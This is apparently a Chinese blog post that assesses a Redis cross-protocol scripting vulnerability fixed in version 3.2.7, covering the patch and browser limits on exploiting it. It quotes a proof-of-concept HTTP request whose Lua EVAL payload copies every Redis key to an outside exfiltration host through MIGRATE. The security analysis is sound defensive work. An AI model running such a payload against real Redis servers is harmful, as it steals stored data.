評估 Redis 最近的 Cross Protocol Scripting 漏洞

spacewander發表於2017-02-02

幾天前,Redis 釋出了 3.2.7 版本,修復了一個 Cross Protocol Scripting 漏洞。

漏洞描述

關於該漏洞的詳細描述見:https://github.com/dxa4481/wh…

Redis 在解析命令的時候,會把每行文字當做輸入。如果輸入不能匹配上特定的命令,則丟棄輸入。

這意味著,如果我們用 HTTP 協議請求 Redis,那麼 Redis 會跳過不認識的各種報頭,執行請求體中的命令。
舉個例子,下面的 HTTP 請求中,只有最後的 EVAL 會被解析成合法的命令並執行。

POST / HTTP/1.1
Host: 127.0.0.1:6379
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://whatsinmyredis.com/
Content-Length: 339
Origin: http://whatsinmyredis.com
Connection: keep-alive

EVAL `local token = "SiKKVzH$EZ"; local count = 0; for k, v in pairs(redis.call("KEYS", "*")) do count = count + 1; if v ~= "WIMREncryptionKey" and count < 100 then redis.call("SET", token, v .. ":" .. redis.call("GET", v)); redis.pcall("MIGRATE", "exfil.whatsinmyredis.com", "11111", token,0,200); end; end; redis.call("DEL", token)` 0
-ERR unknown command `POST`
...

初看好像不算什麼問題,畢竟攻擊者都能直接請求 Redis 了,沒必要用 HTTP 協議掩飾攻擊行為。

不過漏洞的發掘者想得更加深入。在他的 POC 中,構造了一個 HTML 頁面,利用 AJAX 去請求 6379 埠。
一般來說,Redis 是不會暴露在公網裡的,但是有可能跟開發者的機器在同一個內網中。假設開發者的瀏覽器發起了 AJAX 請求,便能繞過外網的限制,直接訪問內網的 Redis。即使 Redis 不在 localhost 上,通過掃描(或者社工出具體的伺服器地址)也有可能嗅探到內網中的 Redis 例項。

漏洞修復

Redis 的修復見:https://github.com/antirez/re…

該補丁把 host 也當做有效的命令去解析。在解析出 host 命令後,Redis 會中斷連線,於是攻擊者的請求就被截斷了。

後續分析

該漏洞依賴兩點:

  1. 可以從瀏覽器發起特定的 HTTP 請求

  2. 可以從開發者的機器訪問到 Redis 伺服器

以下討論均以開發者使用的瀏覽器較為安全為前提。

先分析 Redis 該補丁的工作原理:

作為 HTTP/1.1 規範,請求報頭中應該有 Host 報頭。如果沒有,伺服器會返回 400 錯誤碼。
這意味著,瀏覽器自己傳送的 AJAX 請求中必然會帶上 Host 報頭。

也許有人會想到,可以嘗試用 setRequestHeader 去自定義請求報頭。
瀏覽器也想到了這一點。如果用了 setRequestHeader,瀏覽器會先傳送一個 OPTIONS 請求,附上 Access-Control-Request-Headers 報頭,待目標伺服器明斷。
只有伺服器許可之後,才會進一步傳送定製的 AJAX 請求。
在我們這個場景裡,茫然無知的 Redis 自然什麼都不會回覆。

總而言之,沒有什麼辦法,可以傳送不帶 Host 報頭的 AJAX 請求。意味著只要 Host 被拉黑,所有的 AJAX 請求也被拉黑了。

對於沒打該補丁的版本,該漏洞會有多大的影響?

漏洞依賴的第二點(可以從開發者的機器訪問到 Redis 伺服器),一般情況下難以滿足。畢竟大多數時候,辦公區網路和機房網路不在同一個網段裡,而且還是互相隔離的。如果不是定點攻擊,很難擊中目標伺服器。

漏洞依賴的第一點(可以從瀏覽器發起特定的 HTTP 請求),在很大程度上受瀏覽器的限制。對於那些想利用 AJAX 的攻擊者,瀏覽器可是見得多了。不要忘記還有一個叫同源策略的東西。即使駭客可以去請求特定的 Redis 伺服器,受同源策略的影響,瀏覽器也不會返回響應的結果。意味著,攻擊者可以向 Redis 傳送命令,但是他們無法知道攻擊是否成功。無法評估攻擊的效果,通常會令漏洞的價值大打折扣。

當然如果能結合同源策略繞過,確實可以拿到具體的響應。但是這麼一來利用空間就更窄了。

話雖如此,我也不敢百分百打包票,聲稱該漏洞毫無意義。有句老話:

Attacks always get better… and we did not spent enough time in order to think how to exploit this issue,
but security researchers or malicious attackers could.

處在明處的防禦者,還是儘可能小心謹慎為佳。

目前瀏覽器發展有一個趨勢,就是能幹的事情越來越多。再過不久,除了 HTTP 請求,瀏覽器還可以發起更底層的 TCP/UDP 請求。就安全方面來講,意味著基於瀏覽器的攻擊面會更加廣。希望制定標準和開發瀏覽器的人儘量審慎一些。

相關文章